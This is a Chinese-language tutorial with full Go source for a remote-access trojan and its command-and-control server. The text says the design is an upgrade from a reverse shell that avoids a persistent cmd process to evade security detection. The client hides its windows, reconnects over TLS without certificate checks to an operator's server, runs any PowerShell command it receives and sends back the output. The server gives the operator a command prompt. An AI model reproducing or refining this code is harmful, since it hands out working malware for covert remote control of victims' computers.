一、理论知识:
之前编写的反弹 shell 木马,核心运行逻辑是:主动创建一个 cmd 进程,并让它常驻后台运行。木马会和这个常驻 cmd 保持持续交互,接收服务端指令、执行命令后回传结果。但这种设计有明显短板,常驻后台的 cmd 进程特征极明显,长期运行在系统中,非常容易被安全检测。
为了解决常驻进程易被检测的问题,我们将反弹 shell 升级为C2 指令执行马,核心改造点在于取消常驻 cmd。
c2指令执行马会在后台静默待命,不主动创建cmd进程,等待服务端下发执行指令后,在客户端临时创建cmd进程执行命令,捕获命令执行结果并回传,然后立刻关闭销毁cmd经常,没有任何后台残留。从系统层面来看,cmd进程只是短暂出现,执行完就关闭,整个过程转瞬即逝。
对比cmd常驻后台的反弹 shell,这种临时执行、用完即毁的模式,大幅降低了进程特征暴露的风险,抗检测能力提升。
二、客户端代码
升级为指令执行,优化了中文编码,同时将cmd升级为powershell。
Go
// 声明主包,Go可执行程序必须包含main包
package main
// 导入依赖库
import (
"bytes" // 字节缓冲区操作,用于数据读写
"crypto/tls" // TLS加密通信,建立安全TCP连接
"os/exec" // 执行系统命令(调用PowerShell)
"syscall" // 系统调用,用于Windows隐藏命令行窗口
"time" // 时间操作,用于延时重连
// 编码转换库:GBK转UTF-8,解决Windows命令输出中文乱码问题
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
// convert GBK编码字节流 转换为 UTF-8编码字节流
// 参数:data - GBK格式的原始字节数据(Windows命令输出默认GBK)
// 返回值:转换后的UTF-8格式字节数据
func convert(data []byte) []byte {
// 创建转换器:将GBK编码解码为Go默认的UTF-8
reader := transform.NewReader(bytes.NewReader(data), simplifiedchinese.GBK.NewDecoder())
// 创建字节缓冲区,存储转换后的数据
buf := new(bytes.Buffer)
// 读取转换后的数据到缓冲区(忽略错误,简化逻辑)
_, _ = buf.ReadFrom(reader)
// 返回UTF-8格式的字节数据
return buf.Bytes()
}
// main 主函数,程序入口
func main() {
// 配置Windows系统进程属性:执行命令时**隐藏黑窗口**(不显示PowerShell界面)
hidWin := &syscall.SysProcAttr{HideWindow: true}
// 配置TLS连接参数:跳过SSL证书验证(测试环境使用,生产环境不安全)
tlsConfig := &tls.Config{InsecureSkipVerify: true}
// 外层无限循环:持续尝试连接远程服务器,实现断线重连
for {
// 建立TLS加密的TCP连接,连接目标:服务端ip:3061
conn, err := tls.Dial("tcp", "服务端ip:3061", tlsConfig)
if err != nil {
// 连接失败:等待5秒后,重新尝试连接
time.Sleep(5 * time.Second)
continue
}
// 内层无限循环:连接成功后,持续接收服务器指令并执行
for {
// 创建4096字节的缓冲区,用于接收服务器发送的命令数据
buf := make([]byte, 4096)
// 从TLS连接中读取数据,n为实际读取的字节数
n, err := conn.Read(buf)
if err != nil {
// 读取失败(连接断开/服务器异常):跳出内层循环,关闭连接并重连
break
}
// 将读取到的字节数据转换为字符串(即服务器下发的PowerShell命令)
cmdStr := string(buf[:n])
// 构建PowerShell命令:执行接收到的指令
cmd := exec.Command("powershell.exe", "-Command", cmdStr)
// 为命令设置属性:执行时隐藏Windows黑窗口
cmd.SysProcAttr = hidWin
// 执行命令,并捕获【标准输出+标准错误】所有信息
output, _ := cmd.CombinedOutput()
// 将命令输出(GBK)转换为UTF-8,解决中文乱码
utf8Result := convert(output)
// 将执行结果回传给远程服务器(忽略写入错误)
_, _ = conn.Write(utf8Result)
}
// 关闭当前失效的TLS连接
_ = conn.Close()
// 连接断开后,等待5秒再重新尝试连接服务器
time.Sleep(5 * time.Second)
}
}
三、服务端代码
Go
package main
import (
"bufio"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"io"
"log"
"math/big"
"os"
"time"
)
// 自动生成临时TLS证书
func generateCert() tls.Certificate {
priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
tpl := x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{Organization: []string{"C2"}},
NotBefore: time.Now(),
NotAfter: time.Now().Add(24 * time.Hour),
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
}
derBytes, _ := x509.CreateCertificate(rand.Reader, &tpl, &tpl, &priv.PublicKey, priv)
return tls.Certificate{Certificate: [][]byte{derBytes}, PrivateKey: priv}
}
func main() {
// 启动TLS监听
listen, _ := tls.Listen("tcp", "0.0.0.0:3061", &tls.Config{Certificates: []tls.Certificate{generateCert()}})
defer listen.Close()
log.Println("✅ C2服务端启动成功,等待主机上线...")
// 循环接收客户端连接
for {
conn, err := listen.Accept()
if err != nil {
continue
}
log.Printf("🚀 主机上线:%s\n", conn.RemoteAddr())
// 协程:读取控制台输入的指令,发送给客户端
go func() {
scanner := bufio.NewScanner(os.Stdin)
for {
print("C2指令>>> ")
scanner.Scan()
cmd := scanner.Text()
_, _ = io.WriteString(conn, cmd)
}
}()
// 接收客户端执行结果,打印到控制台
io.Copy(os.Stdout, conn)
// 主机断开
log.Println("\n⚠️ 主机已断开")
conn.Close()
}
}